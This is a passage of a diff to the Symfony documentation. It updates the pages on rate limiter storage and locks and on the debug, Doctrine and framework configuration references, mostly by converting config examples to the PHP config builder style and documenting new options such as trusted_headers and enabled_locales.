+                ->limiter('anonymous_api')
+                    // ...
+
+                    // use the "cache.anonymous_rate_limiter" cache pool
+                    ->cachePool('cache.anonymous_rate_limiter')
+                ;
+        };
+
+.. note::
 
+    Instead of using the Cache component, you can also implement a custom
+    storage. Create a PHP class that implements the
+    :class:`Symfony\\Component\\RateLimiter\\Storage\\StorageInterface` and
+    use the ``storage_service`` setting of each limiter to the service ID
+    of this class.
+
+Using Locks to Prevent Race Conditions
+--------------------------------------
+
+`Race conditions`_ can happen when the same rate limiter is used by multiple
+simultaneous requests (e.g. three servers of a company hitting your API at the
+same time). Rate limiters use :doc:`locks </lock>` to protect their operations
+against these race conditions.
+
+By default, Symfony uses the global lock configured by ``framework.lock``, but
+you can use a specific :ref:`named lock <lock-named-locks>` via the
+``lock_factory`` option (or none at all):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # ...
+
+                    # use the "lock.rate_limiter.factory" for this limiter
+                    lock_factory: 'lock.rate_limiter.factory'
+
+                    # or don't use any lock mechanism
+                    lock_factory: null
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- limiter-factory: use the "lock.rate_limiter.factory" for this limiter -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        lock-factory="lock.rate_limiter.factory"
+                    />
+
+                    <!-- limiter-factory: or don't use any lock mechanism -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        lock-factory="null"
+                    />
+
+                    <!-- ... -->
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
+                    // ...
+
+                    // use the "lock.rate_limiter.factory" for this limiter
+                    ->lockFactory('lock.rate_limiter.factory')
+
+                    // or don't use any lock mechanism
+                    ->lockFactory(null)
+                ;
+        };
+
+.. versionadded:: 5.3
+
+    The login throttling doesn't use any lock since Symfony 5.3 to avoid extra load.
+
+.. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
+.. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
+.. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
+.. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 86aed3b7ba6..e77ee6e7bd6 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -25,13 +25,6 @@ key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options
-
-* `dump_destination`_
-* `max_items`_
-* `min_depth`_
-* `max_string_length`_
-
 max_items
 ~~~~~~~~~
 
@@ -67,9 +60,10 @@ dump_destination
 
 Configures the output destination of the dumps.
 
-By default, the dumps are shown in the toolbar. Since this is not always
-possible (e.g. when working on a JSON API), you can have an alternate output
-destination for dumps. Typically, you would set this to ``php://stderr``:
+By default, dumps are shown in the WebDebugToolbar when returning HTML.
+Since this is not always possible (e.g. when working on a JSON API),
+you can have an alternate output destination for dumps.
+Typically, you would set this to ``php://stderr``:
 
 .. configuration-block::
 
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 281d9193203..d7ce406ab76 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -65,7 +65,7 @@ The following block shows all possible configuration keys:
                 charset:              UTF8
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
-                server_version:       '5.6'
+                server_version:       '5.7'
                 mapping_types:
                     enum: string
                 types:
@@ -99,7 +99,7 @@ The following block shows all possible configuration keys:
                     charset="UTF8"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
-                    server-version="5.6">
+                    server-version="5.7">
 
                     <doctrine:option key="foo">bar</doctrine:option>
                     <doctrine:mapping-type name="enum">string</doctrine:mapping-type>
@@ -121,8 +121,8 @@ The following block shows all possible configuration keys:
 
     Always wrap the server version number with quotes to parse it as a string
     instead of a float number. Otherwise, the floating-point representation
-    issues can make your version be considered a different number (e.g. ``5.6``
-    will be rounded as ``5.5999999999999996447286321199499070644378662109375``).
+    issues can make your version be considered a different number (e.g. ``5.7``
+    will be rounded as ``5.6999999999999996447286321199499070644378662109375``).
 
     If you don't define this option and you haven't created your database
     yet, you may get ``PDOException`` errors because Doctrine will try to
@@ -155,13 +155,22 @@ which is the first one defined or the one configured via the
 ``default_connection`` parameter.
 
 Each connection is also accessible via the ``doctrine.dbal.[name]_connection``
-service where ``[name]`` is the name of the connection. In a controller
-extending ``AbstractController``, you can access it directly using the
-``getConnection()`` method and the name of the connection::
+service where ``[name]`` is the name of the connection. In a :doc:`controller </controller>`
+you can access it using the ``getConnection()`` method and the name of the connection::
 
-    $connection = $this->getDoctrine()->getConnection('customer');
+    // src/Controller/SomeController.php
+    use Doctrine\Persistence\ManagerRegistry;
 
-    $result = $connection->fetchAll('SELECT name FROM customer');
+    class SomeController
+    {
+        public function someMethod(ManagerRegistry $doctrine)
+        {
+            $connection = $doctrine->getConnection('customer');
+            $result = $connection->fetchAll('SELECT name FROM customer');
+
+            // ...
+        }
+    }
 
 Doctrine ORM Configuration
 --------------------------
@@ -265,9 +274,12 @@ you can control. The following configuration options exist for a mapping:
 ``type``
 ........
 
-One of ``annotation`` (the default value), ``xml``, ``yml``, ``php`` or
+One of ``annotation`` (for PHP annotations; it's the default value),
+``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
+See `Doctrine Metadata Drivers`_ for more information about this option.
+
 ``dir``
 .......
 
@@ -329,7 +341,7 @@ directory instead:
 
     .. code-block:: xml
 
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
@@ -345,14 +357,17 @@ directory instead:
 
     .. code-block:: php
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                'auto_mapping' => true,
-                'mappings' => [
-                    'AppBundle' => ['dir' => 'SomeResources/config/doctrine', 'type' => 'xml'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $emDefault = $doctrine->orm()->entityManager('default');
+
+            $emDefault->autoMapping(true);
+            $emDefault->mapping('AppBundle')
+                ->type('xml')
+                ->dir('SomeResources/config/doctrine')
+            ;
+        };
 
 Mapping Entities Outside of a Bundle
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -380,7 +395,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
     .. code-block:: xml
 
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
@@ -402,20 +417,20 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
     .. code-block:: php
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                'auto_mapping' => true,
-                'mappings' => [
-                    'SomeEntityNamespace' => [
-                        'type'      => 'annotation',
-                        'dir'       => '%kernel.project_dir%/src/Entity',
-                        'is_bundle' => false,
-                        'prefix'    => 'App\Entity',
-                        'alias'     => 'App',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $emDefault = $doctrine->orm()->entityManager('default');
+
+            $emDefault->autoMapping(true);
+            $emDefault->mapping('SomeEntityNamespace')
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity')
+                ->isBundle(false)
+                ->prefix('App\Entity')
+                ->alias('App')
+            ;
+        };
 
 Detecting a Mapping Configuration Format
 ........................................
@@ -450,3 +465,4 @@ is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with
 the path of the bundle.
 
 .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html
+.. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b8b0a7887d6..4ff34ecee12 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -27,272 +27,6 @@ configured under the ``framework`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `annotations`_
-
-  * :ref:`cache <reference-annotations-cache>`
-  * `debug`_
-  * `file_cache_dir`_
-
-* `assets`_
-
-  * `base_path`_
-  * `base_urls`_
-  * `json_manifest_path`_
-  * `packages`_
-  * `version_format`_
-  * `version_strategy`_
-  * `version`_
-
-* :ref:`cache <reference-cache>`
-
-  * :ref:`app <reference-cache-app>`
-  * `default_doctrine_provider`_
-  * `default_memcached_provider`_
-  * `default_pdo_provider`_
-  * `default_psr6_provider`_
-  * `default_redis_provider`_
-  * `directory`_
-  * `pools`_
-
-    * :ref:`name <reference-cache-pools-name>`
-
-      * `adapter`_
-      * `clearer`_
-      * `default_lifetime`_
-      * `provider`_
-      * `public`_
-      * `tags`_
-
-  * `prefix_seed`_
-  * `system`_
-
-* `csrf_protection`_
-
-  * :ref:`enabled <reference-csrf_protection-enabled>`
-
-* `default_locale`_
-* `disallow_search_engine_index`_
-* `error_controller`_
-* `esi`_
-
-  * :ref:`enabled <reference-esi-enabled>`
-
-* :ref:`form <reference-framework-form>`
-
-  * :ref:`enabled <reference-form-enabled>`
-
-* `fragments`_
-
-  * :ref:`enabled <reference-fragments-enabled>`
-  * `hinclude_default_template`_
-  * :ref:`path <reference-fragments-path>`
-
-* `http_client`_
-
-  * :ref:`default_options <reference-http-client-default-options>`
-
-    * `bindto`_
-    * `buffer`_
-    * `cafile`_
-    * `capath`_
-    * `ciphers`_
-    * `headers`_
-    * `http_version`_
-    * `local_cert`_
-    * `local_pk`_
-    * `max_redirects`_
-    * `no_proxy`_
-    * `passphrase`_
-    * `peer_fingerprint`_
-    * `proxy`_
-    * `resolve`_
-    * `timeout`_
-    * `max_duration`_
-    * `verify_host`_
-    * `verify_peer`_
-
-  * `max_host_connections`_
-  * :ref:`scoped_clients <reference-http-client-scoped-clients>`
-
-    * `scope`_
-    * `auth_basic`_
-    * `auth_bearer`_
-    * `auth_ntlm`_
-    * `base_uri`_
-    * `bindto`_
-    * `buffer`_
-    * `cafile`_
-    * `capath`_
-    * `ciphers`_
-    * `headers`_
-    * `http_version`_
-    * `local_cert`_
-    * `local_pk`_
-    * `max_redirects`_
-    * `no_proxy`_
-    * `passphrase`_
-    * `peer_fingerprint`_
-    * `proxy`_
-    * `query`_
-    * `resolve`_
-
-    * :ref:`retry_failed <reference-http-client-retry-failed>`
-
-      * `retry_strategy`_
-      * :ref:`enabled <reference-http-client-retry-enabled>`
-      * `delay`_
-      * `http_codes`_
-      * `max_delay`_
-      * `max_retries`_
-      * `multiplier`_
-      * `jitter`_
-
-    * `timeout`_
-    * `max_duration`_
-    * `verify_host`_
-    * `verify_peer`_
-
-  * :ref:`retry_failed <reference-http-client-retry-failed>`
-
-    * `retry_strategy`_
-    * :ref:`enabled <reference-http-client-retry-enabled>`
-    * `delay`_
-    * `http_codes`_
-    * `max_delay`_
-    * `max_retries`_
-    * `multiplier`_
-    * `jitter`_
-
-* `http_method_override`_
-* `ide`_
-* :ref:`lock <reference-lock>`
-
-  * :ref:`enabled <reference-lock-enabled>`
-  * :ref:`resources <reference-lock-resources>`
-
-    * :ref:`name <reference-lock-resources-name>`
-
-* `php_errors`_
-
-  * `log`_
-  * `throw`_
-
-* `profiler`_
-
-  * `collect`_
-  * `dsn`_
-  * :ref:`enabled <reference-profiler-enabled>`
-  * `only_exceptions`_
-  * `only_master_requests`_
-
-* `property_access`_
-
-  * `magic_call`_
-  * `magic_get`_
-  * `magic_set`_
-  * `throw_exception_on_invalid_index`_
-  * `throw_exception_on_invalid_property_path`_
-
-* `property_info`_
-
-  * :ref:`enabled <reference-property-info-enabled>`
-
-* `request`_:
-
-  * `formats`_
-
-* `router`_
-
-  * `http_port`_
-  * `https_port`_
-  * `resource`_
-  * `strict_requirements`_
-  * :ref:`type <reference-router-type>`
-  * `utf8`_
-
-* `secret`_
-* `serializer`_
-
-  * :ref:`circular_reference_handler <reference-serializer-circular_reference_handler>`
-  * :ref:`enable_annotations <reference-serializer-enable_annotations>`
-  * :ref:`enabled <reference-serializer-enabled>`
-  * :ref:`mapping <reference-serializer-mapping>`
-
-    * :ref:`paths <reference-serializer-mapping-paths>`
-
-  * :ref:`name_converter <reference-serializer-name_converter>`
-
-* `session`_
-
-  * `cache_limiter`_
-  * `cookie_domain`_
-  * `cookie_httponly`_
-  * `cookie_lifetime`_
-  * `cookie_path`_
-  * `cookie_samesite`_
-  * `cookie_secure`_
-  * :ref:`enabled <reference-session-enabled>`
-  * `gc_divisor`_
-  * `gc_maxlifetime`_
-  * `gc_probability`_
-  * `handler_id`_
-  * `metadata_update_threshold`_
-  * `name`_
-  * `save_path`_
-  * `sid_length`_
-  * `sid_bits_per_character`_
-  * `storage_id`_
-  * `use_cookies`_
-
-* `test`_
-* `translator`_
-
-  * `cache_dir`_
-  * :ref:`default_path <reference-translator-default_path>`
-  * :ref:`enabled <reference-translator-enabled>`
-  * :ref:`enabled_locales <reference-translator-enabled-locales>`
-  * `fallbacks`_
-  * `formatter`_
-  * `logging`_
-  * :ref:`paths <reference-translator-paths>`
-
-* `trusted_hosts`_
-* `trusted_proxies`_
-* `validation`_
-
-  * :ref:`cache <reference-validation-cache>`
-  * `email_validation_mode`_
-  * :ref:`enable_annotations <reference-validation-enable_annotations>`
-  * :ref:`enabled <reference-validation-enabled>`
-  * :ref:`mapping <reference-validation-mapping>`
-
-    * :ref:`paths <reference-validation-mapping-paths>`
-
-  * :ref:`not_compromised_password <reference-validation-not-compromised-password>`
-
-    * :ref:`enabled <reference-validation-not-compromised-password-enabled>`
-    * `endpoint`_
-
-  * `static_method`_
-  * `translation_domain`_
-
-* `workflows`_
-
-  * :ref:`enabled <reference-workflows-enabled>`
-  * :ref:`name <reference-workflows-name>`
-
-    * `audit_trail`_
-    * `initial_marking`_
-    * `marking_store`_
-    * `metadata`_
-    * `places`_
-    * `supports`_
-    * `support_strategy`_
-    * `transitions`_
-    * :ref:`type <reference-workflows-type>`
-
 secret
 ~~~~~~
 
@@ -306,6 +40,8 @@ recommended length is around 32 characters.
 In practice, Symfony uses this value for encrypting the cookies used
 in the :doc:`remember me functionality </security/remember_me>` and for
 creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.
+That's why you should treat this value as if it were a sensitive credential and
+**never make it public**.
 
 This option becomes the service container parameter named ``kernel.secret``,
 which you can use whenever the application needs an immutable random string
@@ -353,12 +89,32 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
+.. _reference-framework-trusted-headers:
+
+trusted_headers
+~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``trusted_headers`` option was introduced in Symfony 5.2.
+
+The ``trusted_headers`` option is needed to configure which client information
+should be trusted (e.g. their host) when running Symfony behind a load balancer
+or a reverse proxy. See :doc:`/deployment/proxies`.
+
 .. _reference-framework-trusted-proxies:
 
 trusted_proxies
 ~~~~~~~~~~~~~~~
 
-The ``trusted_proxies`` option was removed in Symfony 3.3. See :doc:`/deployment/proxies`.
+.. versionadded:: 5.2
+
+    The ``trusted_proxies`` option was reintroduced in Symfony 5.2 (it had been
+    removed in Symfony 3.3).
+
+The ``trusted_proxies`` option is needed to get precise information about the
+client (e.g. their IP address) when running Symfony behind a load balancer or a
+reverse proxy. See :doc:`/deployment/proxies`.
 
 ide
 ~~~
@@ -406,15 +162,67 @@ doubling them to prevent Symfony from interpreting them as container parameters)
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'ide' => 'myide://open?url=file://%%f&line=%%l',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->ide('myide://open?url=file://%%f&line=%%l');
+        };
 
 Since every developer uses a different IDE, the recommended way to enable this
-feature is to configure it on a system level. This can be done by setting the
-``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The
-format to use is the same as for the ``framework.ide`` option, but without the
-need to escape the percent signs (``%``) by doubling them.
+feature is to configure it on a system level. First, you can set its value to
+some environment variable that stores the name of the IDE/editor:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
+            ide: '%env(resolve:CODE_EDITOR)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.) -->
+            <framework:config ide="%env(resolve:CODE_EDITOR)%"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
+            $framework->ide('%env(resolve:CODE_EDITOR)%');
+        };
+
+.. versionadded:: 5.3
+
+    The option to use env vars in the ``framework.ide`` option was introduced
+    in Symfony 5.3.
+
+Another alternative is to set the ``xdebug.file_link_format`` option in your
+``php.ini`` configuration file. The format to use is the same as for the
+``framework.ide`` option, but without the need to escape the percent signs
+(``%``) by doubling them:
+
+.. code-block:: ini
+
+    // example for PhpStorm
+    xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
+
+    // example for Sublime
+    xdebug.file_link_format="subl://open?url=file://%f&line=%l"
 
 .. note::
 
@@ -431,7 +239,9 @@ need to escape the percent signs (``%``) by doubling them.
     When running your app in a container or in a virtual machine, you can tell
     Symfony to map files from the guest to the host by changing their prefix.
     This map should be specified at the end of the URL template, using ``&`` and
-    ``>`` as guest-to-host separators::
+    ``>`` as guest-to-host separators:
+
+    .. code-block:: text
 
         // /path/to/guest/.../file will be opened
         // as /path/to/host/.../file on the host
@@ -474,6 +284,88 @@ method.
     You can read more information about the default locale in
     :ref:`translation-default-locale`.
 
+.. _reference-translator-enabled-locales:
+.. _reference-enabled-locales:
+
+enabled_locales
+...............
+
+**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
+
+.. versionadded:: 5.1
+
+    The ``enabled_locales`` option was introduced in Symfony 5.1.
+
+Symfony applications generate by default the translation files for validation
+and security messages in all locales. If your application only uses some
+locales, use this option to restrict the files generated by Symfony and improve
+performance a bit:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            enabled_locales: ['en', 'es']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <enabled-locale>en</enabled-locale>
+                <enabled-locale>es</enabled-locale>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->enabledLocales(['en', 'es']);
+        };
+
+If some user makes requests with a locale not included in this option, the
+application won't display any error because Symfony will display contents using
+the fallback locale.
+
+set_content_language_from_locale
+................................
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.4
+
+    The ``set_content_language_from_locale`` option was introduced in Symfony 5.4.
+
+If this option is set to ``true``, the response will have a ``Content-Language``
+HTTP header set with the ``Request`` locale.
+
+set_locale_from_accept_language
+...............................
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.4
+
+    The ``set_locale_from_accept_language`` option was introduced in Symfony 5.4.
+
+If this option is set to ``true``, the ``Request`` locale will automatically be
+set to the value of the ``Accept-Language`` HTTP header.
+
+When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
+is ignored.
+
 disallow_search_engine_index
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -504,7 +396,7 @@ instance), the host might have been manipulated by an attacker.
 The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`
 method might be vulnerable to some of these attacks because it depends on
 the configuration of your web server. One simple solution to avoid these
-attacks is to whitelist the hosts that your Symfony application can respond
+attacks is to configure a list of hosts that your Symfony application can respond
 to. That's the purpose of this ``trusted_hosts`` option. If the incoming
 request's hostname doesn't match one of the regular expressions in this list,
 the application won't respond and the user will receive a 400 response.
@@ -538,9 +430,11 @@ the application won't respond and the user will receive a 400 response.
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'trusted_hosts' => ['^example\.com$', '^example\.org$'],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->trustedHosts(['^example\.com$', '^example\.org$']);
+        };
 
 Hosts can also be configured to respond to any subdomain, via
 ``^(.+\.)?example\.com$`` for instance.
@@ -666,9 +560,11 @@ You can also set ``esi`` to ``true`` to enable it:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'esi' => true,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->esi()->enabled(true);
+        };
 
 fragments
 ~~~~~~~~~
@@ -726,16 +622,62 @@ as a service named ``http_client`` or using the autowiring alias
 
 This service can be configured using ``framework.http_client.default_options``:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            max_host_connections: 10
-            default_options:
-                headers: { 'X-Powered-By': 'ACME App' }
-                max_redirects: 7
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                max_host_connections: 10
+                default_options:
+                    headers: { 'X-Powered-By': 'ACME App' }
+                    max_redirects: 7
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client max-host-connections="10">
+                    <framework:default-options max-redirects="7">
+                        <framework:header name="X-Powered-By">ACME App</framework:header>
+                    </framework:default-options>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'max_host_connections' => 10,
+                'default_options' => [
+                    'headers' => [
+                        'X-Powered-By' => 'ACME App',
+                    ],
+                    'max_redirects' => 7,
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::create([
+            'headers' => [
+                'X-Powered-By' => 'ACME App',
+            ],
+            'max_redirects' => 7,
+        ], 10);
 
 .. _reference-http-client-scoped-clients:
 
@@ -744,16 +686,57 @@ service name defined as a key under ``scoped_clients``. Scoped clients inherit
 the default options defined for the ``http_client`` service. You can override
 these options and can define a few others:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            scoped_clients:
-                my_api.client:
-                    auth_bearer: secret_bearer_token
-                    # ...
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                scoped_clients:
+                    my_api.client:
+                        auth_bearer: secret_bearer_token
+                        # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'scoped_clients' => [
+                    'my_api.client' => [
+                        'auth_bearer' => 'secret_bearer_token',
+                        // ...
+                    ],
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::createForBaseUri('https://...', [
+            'auth_bearer' => 'secret_bearer_token',
+            // ...
+        ]);
 
 Options defined for scoped clients apply only to URLs that match either their
 `base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always
@@ -777,17 +760,18 @@ will automatically retry failed HTTP requests.
         # ...
         http_client:
             # ...
-            retry_failed:
-                # retry_strategy: app.custom_strategy
-                http_codes:
-                    0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                    429: true            # retry all responses with 429 status code
-                    500: ['GET', 'HEAD']
-                max_retries: 2
-                delay: 1000
-                multiplier: 3
-                max_delay: 5000
-                jitter: 0.3
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
 
             scoped_clients:
                 my_api.client:
@@ -826,6 +810,8 @@ in the `Microsoft NTLM authentication protocol`_. The value of this option must
 follow the format ``username:password``. This authentication mechanism requires
 using the cURL-based transport.
 
+.. _reference-http-client-base-uri:
+
 base_uri
 ........
 
@@ -860,7 +846,7 @@ outgoing network interface.
 buffer
 ......
 
-**type**: ``bool`` | ``Closure``
+**type**: ``boolean`` | ``Closure``
 
 Buffering the response means that you can access its content multiple times
 without performing the request again. Buffering is enabled by default when the
@@ -915,6 +901,8 @@ enabled
 Whether to enable the support for retry failed HTTP request or not.
 This setting is automatically set to true when one of the child settings is configured.
 
+.. _http-headers:
+
 headers
 .......
 
@@ -1132,7 +1120,7 @@ config option.
 verify_host
 ...........
 
-**type**: ``boolean``
+**type**: ``boolean`` **default**: ``true``
 
 If ``true``, the certificate sent by other servers is verified to ensure that
 their common name matches the host included in the URL. This is usually
@@ -1141,7 +1129,7 @@ combined with ``verify_peer`` to also verify the certificate authenticity.
 verify_peer
 ...........
 
-**type**: ``boolean``
+**type**: ``boolean`` **default**: ``true``
 
 If ``true``, the certificate sent by other servers when negotiating a TLS or SSL
 connection is verified for authenticity. Authenticating the certificate is not
@@ -1188,14 +1176,23 @@ only_exceptions
 When this is set to ``true``, the profiler will only be enabled when an
 exception is thrown during the handling of the request.
 
-only_master_requests
-....................
+.. _only_master_requests:
+
+only_main_requests
+..................
 
 **type**: ``boolean`` **default**: ``false``
 
-When this is set to ``true``, the profiler will only be enabled on the master
+.. versionadded:: 5.3
+
+    The ``only_main_requests`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``only_master_requests``.
+
+When this is set to ``true``, the profiler will only be enabled on the main
 requests (and not on the subrequests).
 
+.. _profiler-dsn:
+
 dsn
 ...
 
@@ -1203,6 +1200,35 @@ dsn
 
 The DSN where to store the profiling information.
 
+rate_limiter
+~~~~~~~~~~~~
+
+.. _reference-rate-limiter-name:
+
+name
+....
+
+**type**: ``prototype``
+
